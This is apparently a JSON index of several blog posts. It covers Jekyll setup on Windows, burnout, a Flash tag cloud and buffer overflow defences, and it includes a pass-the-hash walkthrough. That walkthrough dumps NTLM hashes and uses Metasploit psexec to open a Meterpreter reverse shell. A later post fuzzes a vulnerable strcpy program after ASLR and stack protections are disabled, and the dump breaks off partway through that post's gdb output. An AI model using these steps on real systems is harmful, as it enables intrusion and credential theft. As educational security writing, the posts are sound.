C:\\ruby\\lib\\ruby\\gems\\1.9.1\\gems\\albino-1.3.3\\lib\\albino.rb file.\nI have created the gist of the changes required here\nBuild Failed This will occur if Pygments is not installed. In that case, edit the _config.yml and Change \u0026lsquo;pygments: true\u0026rsquo; to \u0026lsquo;pygments: false\u0026rsquo;\nPygments not working gem uninstall pygments.rb --version \u0026#34;=0.5.2\u0026#34; ; or whatever version you got installed gem install pygments.rb --version \u0026#34;=0.5.0\u0026#34; Failed to build gem native extension. or \u0026ldquo;python\u0026rdquo; is not recognized as an internal or external command, operable program or batch file. \u0026ldquo;python\u0026rdquo; here can also be \u0026ldquo;ruby\u0026rdquo;, \u0026ldquo;gem\u0026rdquo; or \u0026ldquo;easy_install\u0026rdquo;, etc.\nOne of the reason of this error could be that your Ruby Dev kit binaries are not in PATH. Make sure that C:\\devkit or whatever path you installed Ruby Development kit to is in path.\nI make sure all the binaries of Ruby, Ruby Dev kit, Python are in path.\nSET PATH=%PATH%;C:\\ruby\\bin;C:\\devkit\\bin;C:\\git\\bin;C:\\Python\\App;C:\\devkit\\mingw\\bin In Windows, you can also set PATH permanently by following the steps below\nHold Win and press Pause. Click Advanced System Settings. Click Environment Variables. Append ;C:\\python27 to the Path variable. Restart Command Prompt. If you get the following error with the \u0026ndash;watch option C:/Ruby193/lib/ruby/gems/1.9.1/gems/listen-1.3.1/lib/listen/adapter.rb:207:in `require\u0026#39;: cannot load such file -- wdm (LoadError) To fix that error, open the gemfile in your jekyll project directory and add these two lines:\nrequire \u0026#39;rbconfig\u0026#39; gem \u0026#39;wdm\u0026#39;, \u0026#39;\u0026gt;= 0.1.0\u0026#39; if RbConfig::CONFIG[\u0026#39;target_os\u0026#39;] =~ /mswin|mingw/i UTF-8 breaks on windows UTF-8 files have sometimes problems on Windows. To fix this error, either have your files in non-UTF-8 format or specify RedCarpet as your Markdown engine in _config.yml\n# GitHub Defaults lsi: false pygments: true safe: true # UTF-8 \u0026amp; parse errors fix markdown: redcarpet ","permalink":"https://madhur.co.in/blog/2011/09/01/runningjekyllwindows.html","summary":"\u003cdiv class=\"alert alert-info\"\u003e\nUpdate: If you would like to directly download the portable version of Jekyll. See my \u003ca href=\"/blog/2013/07/20/buildportablejekyll.html\"\u003enew blog post here\u003c/a\u003e\n\u003c/div\u003e\n\u003cdiv class=\"alert alert-danger\"\u003e\nUpdate (26/06/14): This article is bit outdated and no longer deemed official instuctions to get Jekyll running on Windows. Please see \u003ca href=\"https://github.com/juthilo/run-jekyll-on-windows\"\u003ethis article\u003c/a\u003e for more updated and authoritative source of instructions.\n\u003c/div\u003e\n\u003cp\u003eJekyll can also be made to run on Windows Operating System. This prefer when I am working on my office laptop which has Windows 7 installed on it.\u003c/p\u003e","title":"Running Jekyll on Windows"},{"content":"A Windows 2000/NT/XP/Vista/7 system can be compromised with a technique called pass the Hash. For us to exploit this technique, we must know some basica.\nIn a Windows based authentication such as NTLM or Kerberos, the password is never sent as cleartext. Instead the password is transformed into a hash(LM or NTLM Hash) and then sent to the server. The server then compares this hash against the stored hash and grants/denies the access.\nThere are two types of hashes:\nLM hash, LanMan, or LAN Manager hash: It is the obsolete hashing algorithm. Refer to the link to see how it is computed. NTLMv2 Hash: This is latest hashing method used on Windows 7/Vists/2008 systems. Whenever a domain user logs on to the client computer, the hash of its password is stored on the client so that user can be authenticated in future even if the domain controller is not available. There are two types of caching, which is mentioned here.\nNow lets suppose, somebody has used your office laptop to log in and access some intranet based sites. Then that user\u0026rsquo;s password hash is stored in your system.\nYou can retrieve these hashes using a utility such as PSH Toolkit. It contains a utility whosthere which can dump the hashes.\nC:\\Documents and Settings\\madhur\\Desktop\\pshtoolkit_v1.4\\whosthere-alt\u0026gt;whosthere-alt.exe WHOSTHERE-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies This tool lists the active LSA logon sessions with NTLM credentials. use -h for help. the output format is: username:domain:lmhash:nthash madhur:BACKTRACK:123A85F000020D1BAAD3B435B51404EE:5530F36C167C7993E976989949788A9B BACKTRACK$:WORKGROUP:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 Once you have grabbed the hash, you can anytime compromise the victim\u0026rsquo;s computer using metaspoilt\u0026rsquo;s psexec module, if you know the IP address, which is not difficult considering an intranet evnironment.\nmsf exploit(psexec) \u0026gt; use windows/smb/psexec msf exploit(psexec) \u0026gt; set RHOST 192.168.0.13 RHOST =\u0026gt; 192.168.0.13 msf exploit(psexec) \u0026gt; set LHOST 192.168.0.14 LHOST =\u0026gt; 192.168.0.14 msf exploit(psexec) \u0026gt; set SMBDomain backtrack SMBDomain =\u0026gt; backtrack msf exploit(psexec) \u0026gt; set SMBUser madhur SMBUser =\u0026gt; madhur msf exploit(psexec) \u0026gt; set SMBPass 123A85F000020D1BAAD3B435B51404EE:5530F36C167C7993E976989949788A9B SMBPass =\u0026gt; 123A85F000020D1BAAD3B435B51404EE:5530F36C167C7993E976989949788A9B msf exploit(psexec) \u0026gt; exploit [*] Started reverse handler on 192.168.0.13:4444 [*] Connecting to the server... [*] Authenticating to 192.168.0.14:445|backtrack as user \u0026#39;madhur\u0026#39;... [*] Uploading payload... [*] Created \\wttVwMnA.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.14[\\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.14[\\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (nkgYMOZy - \u0026#34;MrDoYCoO\u0026#34;)... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \\wttVwMnA.exe... [*] Sending stage (749056 bytes) to 192.168.0.14 [*] Meterpreter session 6 opened (192.168.0.13:4444 -\u0026gt; 192.168.0.14:1035) at 2011-08-16 22:16:47 +0530 meterpreter \u0026gt; If you have trouble exploiting the target system, then it might be some security enabled your Administrator. For ex\nSimple file sharing is disabled (Windows XP) Windows UAC drops all the Administrator privileges from the SAT (Security Access Token) for REMOTE connections that are using LOCAL accounts. This restriction prevents all remote administrative functions such as connecting to administrative shares (C$, etc) installing services or launching a new process (psexec) \u0026ldquo;HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\LanManServer\\Parameters\u0026rdquo; on the target systems and setting the value of \u0026ldquo;RequireSecuritySignature\u0026rdquo; to \u0026ldquo;0\u0026rdquo;. References:\nhttp://oss.coresecurity.com/pshtoolkit/doc/index.html https://www.infosecisland.com/blogview/9271-NTLM-Passwords-Cant-Crack-it-Just-Pass-it.html ","permalink":"https://madhur.co.in/blog/2011/08/16/passthehash.html","summary":"\u003cp\u003eA Windows 2000/NT/XP/Vista/7 system can be compromised with a technique called \u003ca href=\"http://en.wikipedia.org/wiki/Pass_the_hash\"\u003epass the Hash\u003c/a\u003e. For us to exploit this technique, we must know some basica.\u003c/p\u003e\n\u003cp\u003eIn a Windows based authentication such as NTLM or Kerberos, the password is never sent as cleartext. Instead the password is transformed into a hash(LM or NTLM Hash) and then sent to the server. The server then compares this hash against the stored hash and grants/denies the access.\u003c/p\u003e","title":"Pass the Hash Exploitation on Windows"},{"content":"Professional exhaustion, or burnout, is a state of emotional, mental, and physical exhaustion caused by excessive stress. Burnout typically stems from the job, but can be caused by any situation that involves being overworked and undervalued.\nBurnout is almost always caused by working too much and not dealing with stress and anxiety as it comes along. The stress and anxiety pile up. Each time something is not dealt with the body sends out a signal. It could be a headache, fatigue, illness, or muscle aches. Whatever the sign the body sends out is ignored and not dealt with. Over a period of time the body cannot handle it anymore and this is where burnout comes in. It is almost like the body just shuts down and waits to be taken care of before it starts to work properly again.\nThe most common cause of burnout is work. Work-related burnout is caused by having little or no control over your work, unclear or overly demanding expectations, lack of recognition for good work, doing work that is monotonous, and working in a high pressure environment. Professional exhaustion doesn’t happen overnight, which can make it difficult to spot. It grows over time, eventually producing feelings of failure, defeat, and detachment. Leaving these feelings alone only makes the problem worse. Trying to forge ahead as normal will only cause further physical, and more importantly, emotional damage.\nTwo important definitions of burnout are:\n\u0026ldquo;A state of physical, emotional and mental exhaustion caused by long term involvement in emotionally demanding situations.\u0026rdquo; - Ayala Pines \u0026amp; Elliott Aronson \u0026ldquo;A state of fatigue or frustration brought about by devotion to a cause, way of life, or relationship that failed to produce the expected reward.\u0026rdquo; – Herbert J Freudenberger It mainly strikes highly-committed, passionate, hard working and successful people – and it therefore holds a special fear for those who care passionately about their careers and about the work they do.\nIt is the person with passion, energy and dedication to the job that is most likely to suffer from this attitude.\nBurnout is not stress Unfortunately, burnout is often misunderstood and mislabeled – “I’m just stressed-out.” “It’s only a bit of depression.” When those words are spoken, it’s obvious burnout has been missed and dismissed.\nHere’s the best way to understand the difference between stress and burnout…\nStress is an issue of too much, whereas burnout is about not enough.\nThere are many who take-on tons of stress, and they manage well because they can envision things turning around once they get their ducks in a row.\nBut burnout is about feelings of helplessness, hopelessness, and inadequacy. And it’s tough to move forward under their spell.\nThere’s another stress/burnout distinguishing factor. You typically know when you’re in the midst of a ton of stress. Burnout, however, often flies under the radar. You know something’s wrong – but what? And that’s what makes burnout so dangerous.\nHere are a few reasons:\nFrustration - an employee starts off full of energy and optimism and pour their personal energy into a project, job or position and yet the results aren\u0026rsquo;t what they hoped for - this can cause them to stop trying.\nUnappreciated - An employee can feel unappreciated if they work in an environment that doesn\u0026rsquo;t believe in positive reinforcement. Giving 110% every day is rewarding to these high achievers if recognized, but giving 110% with no return on that investment of energy will quickly lead to burnout. The lack of recognition in the workplace according to Potter, can manifest itself in: Inadequate pay and Underemployment.\nUnrelenting Stress - No one can be \u0026ldquo;on\u0026rdquo; all the time. A person\u0026rsquo;s energy needs time to recharge or eventually their internal battery won\u0026rsquo;t take a charge anymore and you\u0026rsquo;ll have burn out. Back to back stressful projects or situations are sometimes unavoidable, but three times in a row with no end in sight? Only do it if you want to burn through employees and have a high turnover rate.\nOverwhelmed - A high achiever often has a lot on their plate in multiple areas of their lives. It\u0026rsquo;s important for us to recognize our limits and realize that sacrificing sleep can only work for so long before our reserves are gone and burnout ensues.\nExternal factors - Such as Being away from your family for too long or Traveling alone and living in motels.\nBurnout and Personality Research shows that introverts experience more stress than extraverts and feeling types experience more stress than thinking types. (Regarding stressors, the research shows there is no difference for the sensing/intuition or judging/perceiving preferences.) If introverts and feeling types experience more stress, does that mean they burn out more often, too?\nYes and no. Research indicates that introverts do burn out more than extraverts because introverts, on the average, do not have and use as many coping strategies as extraverts.\nSymptoms of Burnout Emotional symptoms include disillusionment with the job; the loss of a sense of meaning and cynicism towards our organizations or clients; feelings of helplessness; frustration of efforts and a lack of power to change events; strong feelings of anger against the people we hold responsible for the situation; and feelings of depression and isolation.\nBehavioral symptoms can include increasing detachment from co-workers, increased absenteeism, an increased harshness in dealing with our teams, marked reduction in our commitment to our work, and increased alcohol consumption. These symptoms reflect exhaustion and a loss of satisfaction with work.\nTips to prevent Burnout Get a life plan. What do you want in life? No small question. But a clear, exciting answer will provide context for your toils and support for your weary psyche.\nGet into self-improvement. Burnout is a state of mind, not circumstantial. Improve on your attitude and you\u0026rsquo;ll be able to handle more than you think.\nExercise. No need to conjure up the discipline yourself; join a group (not a gym) where you are expected to show up with a fun bunch of people to work out in any way, shape or form on a regular basis.\nMeditate. Sit and be quiet for a good 15 minutes, preferably every day. Try not to think about anything. If thoughts and words come into your brain, just escort them casually back out. Be sure to breathe deep while doing so.\nBe thankful. List, preferably on paper, all the things you are thankful for in your life. Don\u0026rsquo;t stop until you\u0026rsquo;ve thought of at least 30 items. Do this regularly.\nLearn to say no. A healthy person knows their limits. To them, \u0026ldquo;not wanting to do something\u0026rdquo; for someone is the same as not being able to do it. If it doesn\u0026rsquo;t feel right, say no.\nBe nice. Nothing adds to energy and confidence like being nice to someone. But only be nice within the limits of what you\u0026rsquo;re capable of; too much will lead you straight to burnout.\nIf you are hit, take it positively Sometimes, job burnout can be an opportunity. The opportunity burnout offers to us is to re-examine our lives, our careers, our workplaces, and planning where we are going.\nSo, what I do? First and foremost, you must recognize you are in a burnout state. Self-awareness is the first step in making a change.\nSecond, understanding that you and you alone, are ultimately are in control of your career. And although there might be less than ideal circumstances in your workplace, you are ultimately responsible for controlling your work destiny.\nLooking at possibilities to grow outside your job might, in fact, enhance your job. Activities can range from taking classes to connecting with people.\nAsking yourself, \u0026ldquo;Is my workplace the real culprit for job burnout or is it me?\u0026rdquo;\nLook critically at your workplace. Is it a toxic workplace? Perhaps, you are in a unique pressure-cooker environment, with \u0026ldquo;No Way Out.\u0026rdquo; If that is the case, you need to look at your external options.\nAre you doing what you like? Are you utilizing skills that you enjoy? Does your work give you a sense of purpose and mission? If you are out of touch with this aspect of your work, it is time to consider making a career change, small or large.\nAnd finally, is my life and career balanced? Do I have opportunities with my family, friends, or hobbies? Or am I just working incessantly with no end in sight? Every job has its peaks and valleys, however, it is important to take time to refresh and replenish ourselves.\nLife-Work balance is an issue that crops up all the time when workers are asked what do they look for in a good job or workplace. It is up to you to assertively find opportunities that will promote a healthy career and life style.\nThink of a burnout crisis as a gift, one that helps inform us that something is out of kilter in our lives and we must look deeper within to find answers to its resolution. Without the burnout crisis, we may never feel prompted to finally answer some critical questions about our lives:\nWhat am I trying to accomplish with my work life? What are my key interests and does my work fit with them? What are my key skills and does my work use them? What are my core values about life balance, about family, about money, about the treatment of people? Is my work in synch with these? Am I overworking? If so, why? Where is the balance in my life between work and play? How would I live my life if I no longer had to work? What does work accomplish for me and what is it preventing me from accomplishing? Can I shift the focus of my current work or should I look into another type of work? ","permalink":"https://madhur.co.in/blog/2011/08/13/burnout.html","summary":"\u003cp\u003eProfessional exhaustion, or burnout, is a state of emotional, mental, and physical exhaustion caused by excessive stress. Burnout typically stems from the job, but can be caused by any situation that involves being overworked and undervalued.\u003c/p\u003e\n\u003cp\u003eBurnout is almost always caused by working too much and not dealing with stress and anxiety as it comes along. The stress and anxiety pile up. Each time something is not dealt with the body sends out a signal. It could be a headache, fatigue, illness, or muscle aches. Whatever the sign the body sends out is ignored and not dealt with. Over a period of time the body cannot handle it anymore and this is where burnout comes in. It is almost like the body just shuts down and waits to be taken care of before it starts to work properly again.\u003c/p\u003e","title":"Burnout"},{"content":"Earlier I showed you how we can integrate a simple HTML based tag cloud in Jekyll blog.\nIn this post, Let\u0026rsquo;s take a look at how we can integrate Wordpress Tag cloud plugin in Jekyll blog as shown in the right hand pane on this blog. Wordpress Tag cloud plugin is a simple Flash based plugin which accepts a group of Url encoded Anchor Hyperlinks as the parameter to display as the tag cloud. The flash file can be downloaded here.\nTo output this plugin we use a normal embed tag as shown below\n\u0026lt;embed type=\u0026#34;application/x-shockwave-flash\u0026#34; src=\u0026#34;/files/tagcloud.swf\u0026#34; id=\u0026#34;tagcloudflash\u0026#34; name=\u0026#34;tagcloudflash\u0026#34; bgcolor=\u0026#34;#474c52\u0026#34; quality=\u0026#34;high\u0026#34; wmode=\u0026#34;transparent\u0026#34; allowscriptaccess=\u0026#34;always\u0026#34; flashvars=\u0026#34;tcolor=0xffffff\u0026amp;amp;tcolor2=0xb6bcc1\u0026amp;amp;hicolor=0xa1ff66\u0026amp;amp;tspeed=100\u0026amp;amp;distr=true\u0026amp;amp;mode=tags\u0026amp;amp;tagcloud=%3Ctags%3E%3Ca+href%3D%27http%3A%2F%2Fcoda.co.za%2Fblog%2Ftag%2Fadvertising%27+class%3D%27tag-link-40%27+title%3D%2720+topics%27+style%3D%27font-size%3A+6.36046511628pt%3B%27%3Eadvertising%3C%2Fa%3E%3C%2Ftags%3E\u0026#34; height=\u0026#34;300\u0026#34; width=\u0026#34;250\u0026#34;\u0026gt;\u0026lt;/embed\u0026gt; Most of the parameters are self explanatory which you can customize based on your needs. The parameter to our interest is flashvars. In the above example, the decoded value of flashvars would be\nflashvars= \u0026#34;tcolor=0xffffff \u0026amp;tcolor2=0xb6bcc1 \u0026amp;hicolor=0xa1ff66 \u0026amp;tspeed=100 \u0026amp;distr=true \u0026amp;mode=tags \u0026amp;tagcloud=%3Ctags%3E%3Ca+href%3D%27http%3A%2F%2Fcoda.co.za%2Fblog%2Ftag%2Fadvertising%27+class%3D%27tag-link-40%27+title%3D%2720+topics%27+style%3D%27font-size%3A+6.3604651628pt%3B%27%3Eadvertising%3C%2Fa%3E%3C%2Ftags%3E\u0026#34; flashvars is an array of parameters itself out of which the one of our most interest is tagcloud. This param again accepts a list of anchor hyperlinks which are Url encoded. The example of the input is shown below\n\u0026lt;tags\u0026gt; \u0026lt;a href=\u0026#39;/blog/tag/advertising\u0026#39; class=\u0026#39;tag-link-40\u0026#39; title=\u0026#39;20 topics\u0026#39; style=\u0026#39;font-size: 6pt;\u0026#39;\u0026gt;advertising\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/blog/tag/advocacy\u0026#39; class=\u0026#39;tag-link-41\u0026#39; title=\u0026#39;25 topics\u0026#39; style=\u0026#39;font-size: 7pt;\u0026#39;\u0026gt;advocacy\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/blog/tag/backpacking\u0026#39; class=\u0026#39;tag-link-101\u0026#39; title=\u0026#39;23 topics\u0026#39; style=\u0026#39;font-size: 7pt;\u0026#39;\u0026gt;backpacking\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#39;/blog/tag/blogging\u0026#39; class=\u0026#39;tag-link-147\u0026#39; title=\u0026#39;35 topics\u0026#39; style=\u0026#39;font-size: 9pt;\u0026#39;\u0026gt;blogging\u0026lt;/a\u0026gt; \u0026lt;/tags\u0026gt; The value above needs to Url encoded and assigned to flashvars variable. In order to achieve this in Jekyll, we have two tasks\nGenerating list of tags dynamically Dynamically resizing the text of each tag based on its cound The first task can be simply achieved using standard Liquid Markup which is supported by Jekyll\n{% for tag in site.categories%} { % endfor %} To achieve the second task, we can augment our first code cleverly as shown below\n{% for tag in site.categories%} {% assign t = tag.first%} {% assign posts = tag.last %} \u0026lt;a class=\u0026#34;tag tag{{ posts | size }}\u0026#34; title=\u0026#34;{{ posts | size }} posts\u0026#34; href=\u0026#34;/categories/{{ t | to_id }}.html\u0026#34;\u0026gt;{{ t }}\u0026lt;/a\u0026gt; { % endfor %} Note that the above code will generate the list of anchor tags in loop and assign the appropriate Url, title and class attributes. You can modify these as per your convinience. This needs to be encoded before you put in use. You can use this site to do the encoding.\nOur final Jekyll code looks like this\n\u0026lt;div class=\u0026#34;category\u0026#34;\u0026gt; \u0026lt;h4\u0026gt;Tag Cloud\u0026lt;/h4\u0026gt; \u0026lt;div id=\u0026#34;wpcumuluscontent\u0026#34;\u0026gt; \u0026lt;embed type=\u0026#34;application/x-shockwave-flash\u0026#34; src=\u0026#34;/files/tagcloud.swf\u0026#34; id=\u0026#34;tagcloudflash\u0026#34; name=\u0026#34;tagcloudflash\u0026#34; bgcolor=\u0026#34;#474c52\u0026#34; quality=\u0026#34;high\u0026#34; wmode=\u0026#34;transparent\u0026#34; allowscriptaccess=\u0026#34;always\u0026#34; flashvars=\u0026#34;tcolor=0xffffff\u0026amp;amp;tcolor2=0xb6bcc1\u0026amp;amp;hicolor=0xa1ff66\u0026amp;amp;tspeed=100\u0026amp;amp;distr=true\u0026amp;amp;mode=tags\u0026amp;amp;tagcloud=%3Ctags%3E{% for tag in site.categories %}{% assign t = tag.first %}{% assign posts = tag.last %}%3Ca+style%3d%27font-size:12pt%27+class%3D%27tag tag{{ posts | size }}%27+title%3D%27{{ posts | size }}+posts%27+href%3D%27%2Fcategories%2F{{ t | to_id }}.html%27%3E{{ t }}%3C%2Fa%3E{% endfor %}%3C%2Ftags%3E\u0026#34; height=\u0026#34;300\u0026#34; width=\u0026#34;250\u0026#34;\u0026gt; \u0026lt;/embed\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; To make sure that the text is resized according to the number of posts, we add the following CSS in the CSS file\n.tag { font-size: 6pt; } .tag1 { font-size: 6pt; } .tag2 { font-size: 6pt; } .tag3 { font-size: 12pt; } .tag4 { font-size: 12pt; } .tag5 { font-size: 12pt; } .tag6 { font-size: 13pt; } .tag7 { font-size: 14pt; } .tag8 { font-size: 15pt; } .tag9 { font-size: 16em; } .tag10 { font-size: 17pt; } .tag11 { font-size: 18pt; } .tag12 { font-size: 19pt; } .tag13 { font-size: 20pt; } .tag14 { font-size: 21pt; } .tag15 { font-size: 22pt; } .tag16 { font-size: 23pt; } .tag17 { font-size: 24pt; } .tag18 { font-size: 25pt; } .tag19 { font-size: 26pt; } .tag20 { font-size: 27pt; } ","permalink":"https://madhur.co.in/blog/2011/08/12/wptagcloudjekyll.html","summary":"\u003cp\u003e\u003ca href=\"/blog/2011/06/11/tagcloudjekyll.html\"\u003eEarlier\u003c/a\u003e I showed you how we can integrate a simple HTML based tag cloud in Jekyll blog.\u003c/p\u003e\n\u003cp\u003eIn this post, Let\u0026rsquo;s take a look at how we can integrate Wordpress Tag cloud plugin in Jekyll blog as shown in the right hand pane on this \u003ca href=\"/blog/\"\u003eblog\u003c/a\u003e.\nWordpress Tag cloud plugin is a simple Flash based plugin which accepts a group of Url encoded Anchor Hyperlinks as the parameter to display as the tag cloud.\nThe flash file can be downloaded \u003ca href=\"/files/tagcloud.swf\"\u003ehere\u003c/a\u003e.\u003c/p\u003e","title":"Integrating Wordpress Tag cloud Plugin in Jekyll"},{"content":"Linux has several inbuilt protection mechanisms to deal with malicious buffer overflow attacks. Some of them are built into kernel while some of them are part of compiler tools such as gcc, g++.\nAddress space Layout Randomization (Kernel) Executable Stack Protection (Compiler) Stack smashing protection (Compiler) Position Independent Executables (Compiler) Fortify Source (Compiler) Stack Protector (Compiler) Address Space Randomization is a technique in which various parts of executable such as data, stack and code are randomly given start addresses whenever a program starts. This makes difficult for an attacker to guess let\u0026rsquo;s stay the base of stack in order for him to successfully launch the buffer overflow attack. ASLR can be disabled in linux with the following command\nmadhur@bt:~/buffer$ sudo echo 0 \u0026gt; /proc/sys/kernel/randomize_va_space To reneable just echo it with a positive integer, for ex\nmadhur@bt:~/buffer$ sudo echo 2 \u0026gt; /proc/sys/kernel/randomize_va_space Executable Stack Protection is another technique of preventing buffer overflow attacks. As a result of this protection, the stack portion of the memory is marked non executable. To check if the stack is executable or not, run the following command\nmadhur@bt:~/buffer$ readelf -l \u0026lt;filename\u0026gt; Elf file type is EXEC (Executable file) Entry point 0x8048330 There are 8 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x004e4 0x004e4 R E 0x1000 LOAD 0x000f0c 0x08049f0c 0x08049f0c 0x00108 0x00110 RW 0x1000 DYNAMIC 0x000f20 0x08049f20 0x08049f20 0x000d0 0x000d0 RW 0x4 NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x000f0c 0x08049f0c 0x08049f0c 0x000f4 0x000f4 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 07 .ctors .dtors .jcr .dynamic .got The following line , shows that stack is Read Write but not executable\nGNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 In order to make the stack executable, the program needs to be compiled with -z execstack option\nmadhur@bt:~/buffer$ gcc -ggdb -m32 -z execstack -o buffer1 buffer1.c In that case, the output of readelf program would be\nGNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4 Stack smashing protection refers to compiler generated protection techniques of smash stacking. Refer to wikipedia link to get more details about the techniques involved in this protection. This can be disabled in gcc as follows:\nmadhur@bt:~/buffer$ gcc -ggdb -m32 -o buffer1 -fno-stack-protector -mpreferred-stack-boundary=4 buffer1.c Windows Implementation The /GS switch is a compiler option that will add some code to function’s prologue and epilogue code in order to prevent successful abuse of typical stack based (string buffer) overflows.\nWhen an application starts, a program-wide master cookie (4 bytes (dword), unsigned int) is calculated (pseudo-random number) and saved in the .data section of the loaded module. In the function prologue, this program-wide master cookie is copied to the stack, right before the saved EBP and EIP. (between the local variables and the return addresses)\n[buffer][cookie][saved EBP][saved EIP] During the epilogue, this cookie is compared again with the program-wide master cookie. If it is different, it concludes that corruption has occurred, and the program is terminated.\nIn order to minimize the performance impact of the extra lines of code, the compiler will only add the stack cookie if the function contains string buffers or allocates memory on the stack using alloca. Furthermore, the protection is only active when the buffer contains 5 bytes or more.\nIn a typical buffer overflow, the stack is attacked with your own data in an attempt to overwrite the saved EIP. But before your data overwrites the saved EIP, the cookie is overwritten as well, rendering the exploit useless (but it may still lead to a DoS). The function epilogue would notice that the cookie has been changed, and the application dies.\n|buffer||cookie||saved EBP||saved EIP| |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| ^ | The second important protection mechanism of /GS is variable reordering. In order to prevent attackers from overwriting local variables or arguments used by the function, the compiler will rearrange the layout of the stack frame, and will put string buffers at a higher address than all other variables. So when a string buffer overflow occurs, it cannot overwrite any other local variables.\nPosition Independent Executables (PIE) In order to take advantage of Address Space Layout Randomization (ASLR), programs need to be built as Position Independent Executables (PIE) with -fPIE –pie flag. PIE has a 5-10% performance penalty on architectures with small numbers of general registers (e.g. x86).\nFortify Source enables several compile-time and run-time protections including protections against overflows. In order to use Fortify Source which provides run-time checks of buffer lengths and memory regions, programs need to be built with -D_FORTIFY_SOURCE=2 flag.\nStack Protector is enabled at compile-time with -fstack-protector flag. It enables run-time stack overflow verification protecting against stack overflows, and reducing the chances of arbitrary code execution via controlling return address destinations.\n","permalink":"https://madhur.co.in/blog/2011/08/06/protbufferoverflow.html","summary":"\u003cp\u003eLinux has several inbuilt protection mechanisms to deal with malicious buffer overflow attacks. Some of them are built into kernel\nwhile some of them are part of compiler tools such as gcc, g++.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAddress space Layout Randomization (Kernel)\u003c/li\u003e\n\u003cli\u003eExecutable Stack Protection (Compiler)\u003c/li\u003e\n\u003cli\u003eStack smashing protection (Compiler)\u003c/li\u003e\n\u003cli\u003ePosition Independent Executables (Compiler)\u003c/li\u003e\n\u003cli\u003eFortify Source (Compiler)\u003c/li\u003e\n\u003cli\u003eStack Protector (Compiler)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Address_space_layout_randomization\"\u003eAddress Space Randomization\u003c/a\u003e\u003c/strong\u003e is a technique in which various parts of executable such as data, stack and code are randomly given start addresses whenever a program starts. This makes difficult for an attacker to guess let\u0026rsquo;s stay the base of stack in order for him to successfully launch the buffer overflow attack. ASLR can be disabled in linux with the following command\u003c/p\u003e","title":"Protections against buffer overflow exploits in Linux"},{"content":"If you are learning buffer overflow exploit development on Linux x64 machine, then there are something which you need to take care of.\nThis is because architecture and execution of programs in x64 machine model is completely different from x32 machine model.\nFor a reference to stack frame in x64, refer to this link\nConsider this C program and I will demonstrate the effect of compiling this program for x32 and x64.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { char buffer[500]; strcpy(buffer, argv[1]); //vulnerable function return 0; } If you are on x64, simply executing this command will compile it for x64\ngcc -ggdb -m64 -o buffer1 -fno-stack-protector -mpreferred-stack-boundary=4 buffer1.c And this one for x32\ngcc -ggdb -m32 -o buffer1 -fno-stack-protector -mpreferred-stack-boundary=4 buffer1.c Let\u0026rsquo;s try to exploit this buffer overflow vulnerability using gdb on both the versions. Here are the outputs\nx64\nmadhur@bt:~/buffer$ gdb buffer1 GNU gdb (GDB) 7.1-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;x86_64-linux-gnu\u0026#34;. For bug reporting instructions, please see: \u0026lt;http://www.gnu.org/software/gdb/bugs/\u0026gt;... Reading symbols from /home/madhur/buffer/buffer1...done. (gdb) run $(python -c \u0026#39;print \u0026#34;\\x41\u0026#34; * 1500\u0026#39;) Starting program: /home/madhur/buffer/buffer1 $(python -c \u0026#39;print \u0026#34;\\x41\u0026#34; * 1500\u0026#39;) Program received signal SIGSEGV, Segmentation fault. 0x0000000000400565 in main (argc=Cannot access memory at address 0x4141414141413f3d ) at buffer1.c:10 10\t} (gdb) info registers rax 0x0\t0 rbx 0x0\t0 rcx 0x41414141414141\t18367622009667905 rdx 0x1000\t4096 rsi 0x7fffffffe769\t140737488349033 rdi 0x7fffffffe1f0\t140737488347632 rbp 0x4141414141414141\t0x4141414141414141 rsp 0x7fffffffde28\t0x7fffffffde28 r8 0x7ffff7dd8300\t140737351877376 r9 0x5c0\t1472 r10 0x7\t7 r11 0x7ffff7ba92a0\t140737349587616 r12 0x400440\t4195392 r13 0x7fffffffdf00\t140737488346880 r14 0x0\t0 r15 0x0\t0 rip 0x400565\t0x400565 \u0026lt;main+65\u0026gt; eflags 0x10206\t[ PF IF RF ] cs 0x33\t51 ss 